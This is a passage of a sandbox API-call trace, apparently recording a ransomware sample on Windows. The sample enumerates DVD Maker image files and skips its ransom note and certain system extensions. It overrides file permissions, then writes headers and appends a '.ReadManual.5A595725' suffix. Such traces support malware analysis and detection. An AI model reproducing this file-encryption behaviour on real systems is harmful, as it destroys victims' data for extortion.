lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0254.599] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0254.599] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x100) returned 1 [0254.600] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.600] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.601] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.601] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0254.602] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.602] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37527034523) returned 1 [0254.602] CloseHandle (hObject=0x1a0) returned 1 [0254.602] SetSecurityInfo () returned 0x5 [0254.602] SetSecurityInfo () returned 0x5 [0254.602] LocalFree (hMem=0x674d38) returned 0x0 [0254.602] CloseHandle (hObject=0x184) returned 1 [0254.602] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0254.602] lstrcpyW (in: lpString1=0x6ab91c, lpString2="scenesscroll.png" | out: lpString1="scenesscroll.png") returned="scenesscroll.png" [0254.603] lstrcmpiW (lpString1="scenesscroll.png", lpString2="RecoveryManual.html") returned 1 [0254.603] StrStrIW (lpFirst="scenesscroll.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.603] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.603] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.603] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.603] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.603] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.603] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.603] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" [0254.603] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.ReadManual.5A595725" [0254.603] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.ReadManual.5A595725") returned 100 [0254.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37527280205) returned 1 [0254.604] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0254.604] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.604] GetLastError () returned 0x5 [0254.604] GetNamedSecurityInfoW () returned 0x0 [0254.605] SetNamedSecurityInfoW () returned 0x0 [0254.605] SetNamedSecurityInfoW () returned 0x0 [0254.606] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.607] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=96025) returned 1 [0254.607] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17719, lpName=0x0) returned 0x1a0 [0254.607] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0254.607] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.607] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.609] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.610] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17719) returned 0x1de0000 [0254.611] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0254.612] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37528070724) returned 1 [0254.612] CloseHandle (hObject=0x1a0) returned 1 [0254.612] SetSecurityInfo () returned 0x5 [0254.612] SetSecurityInfo () returned 0x5 [0254.612] LocalFree (hMem=0x674d38) returned 0x0 [0254.612] CloseHandle (hObject=0x184) returned 1 [0254.612] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0254.612] lstrcpyW (in: lpString1=0x6ab91c, lpString2="specialmainsubpicture.png" | out: lpString1="specialmainsubpicture.png") returned="specialmainsubpicture.png" [0254.612] lstrcmpiW (lpString1="specialmainsubpicture.png", lpString2="RecoveryManual.html") returned 1 [0254.612] StrStrIW (lpFirst="specialmainsubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.612] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.612] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.612] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.613] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.613] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.613] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.613] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.613] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.613] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.613] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.613] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.613] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.613] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.613] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.613] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" [0254.613] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.ReadManual.5A595725" [0254.613] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.ReadManual.5A595725") returned 109 [0254.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37528168150) returned 1 [0254.613] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0254.613] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.613] GetLastError () returned 0x5 [0254.613] GetNamedSecurityInfoW () returned 0x0 [0254.614] SetNamedSecurityInfoW () returned 0x0 [0254.614] SetNamedSecurityInfoW () returned 0x0 [0254.615] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.616] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2864) returned 1 [0254.616] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb30, lpName=0x0) returned 0x1a0 [0254.616] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0254.616] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.616] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.618] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.618] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb30) returned 0x2f0000 [0254.618] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.618] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37528714752) returned 1 [0254.618] CloseHandle (hObject=0x1a0) returned 1 [0254.618] SetSecurityInfo () returned 0x5 [0254.619] SetSecurityInfo () returned 0x5 [0254.619] LocalFree (hMem=0x674d38) returned 0x0 [0254.619] CloseHandle (hObject=0x184) returned 1 [0254.619] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.619] lstrcpyW (in: lpString1=0x6ab91c, lpString2="SpecialNavigationLeft_ButtonGraphic.png" | out: lpString1="SpecialNavigationLeft_ButtonGraphic.png") returned="SpecialNavigationLeft_ButtonGraphic.png" [0254.619] lstrcmpiW (lpString1="SpecialNavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned 1 [0254.619] StrStrIW (lpFirst="SpecialNavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.619] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.619] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.619] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.619] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.619] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.619] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.619] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" [0254.619] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0254.619] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 123 [0254.619] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37528811806) returned 1 [0254.619] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png")) returned 0x20 [0254.620] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.620] GetLastError () returned 0x5 [0254.620] GetNamedSecurityInfoW () returned 0x0 [0254.620] SetNamedSecurityInfoW () returned 0x0 [0254.621] SetNamedSecurityInfoW () returned 0x0 [0254.622] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.622] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4815) returned 1 [0254.622] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12cf, lpName=0x0) returned 0x1a0 [0254.622] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x106) returned 1 [0254.623] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.623] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.624] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.625] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12cf) returned 0x2f0000 [0254.625] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.625] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37529358064) returned 1 [0254.625] CloseHandle (hObject=0x1a0) returned 1 [0254.625] SetSecurityInfo () returned 0x5 [0254.625] SetSecurityInfo () returned 0x5 [0254.625] LocalFree (hMem=0x674d38) returned 0x0 [0254.625] CloseHandle (hObject=0x184) returned 1 [0254.626] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.626] lstrcpyW (in: lpString1=0x6ab91c, lpString2="SpecialNavigationLeft_SelectionSubpicture.png" | out: lpString1="SpecialNavigationLeft_SelectionSubpicture.png") returned="SpecialNavigationLeft_SelectionSubpicture.png" [0254.626] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned 1 [0254.626] StrStrIW (lpFirst="SpecialNavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.626] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.626] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.626] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.626] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.626] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.626] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.626] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" [0254.626] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0254.626] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 129 [0254.626] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37529511023) returned 1 [0254.626] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png")) returned 0x20 [0254.627] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.627] GetLastError () returned 0x5 [0254.627] GetNamedSecurityInfoW () returned 0x0 [0254.628] SetNamedSecurityInfoW () returned 0x0 [0254.628] SetNamedSecurityInfoW () returned 0x0 [0254.629] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.630] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3030) returned 1 [0254.630] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd6, lpName=0x0) returned 0x1a0 [0254.630] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x112) returned 1 [0254.631] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.631] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.632] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.633] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd6) returned 0x2f0000 [0254.633] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37530161539) returned 1 [0254.633] CloseHandle (hObject=0x1a0) returned 1 [0254.633] SetSecurityInfo () returned 0x5 [0254.633] SetSecurityInfo () returned 0x5 [0254.633] LocalFree (hMem=0x674d38) returned 0x0 [0254.633] CloseHandle (hObject=0x184) returned 1 [0254.633] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.633] lstrcpyW (in: lpString1=0x6ab91c, lpString2="SpecialNavigationRight_ButtonGraphic.png" | out: lpString1="SpecialNavigationRight_ButtonGraphic.png") returned="SpecialNavigationRight_ButtonGraphic.png" [0254.633] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned 1 [0254.633] StrStrIW (lpFirst="SpecialNavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.633] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.633] StrCmpIW (psz1="png", psz2="dll") returned 1 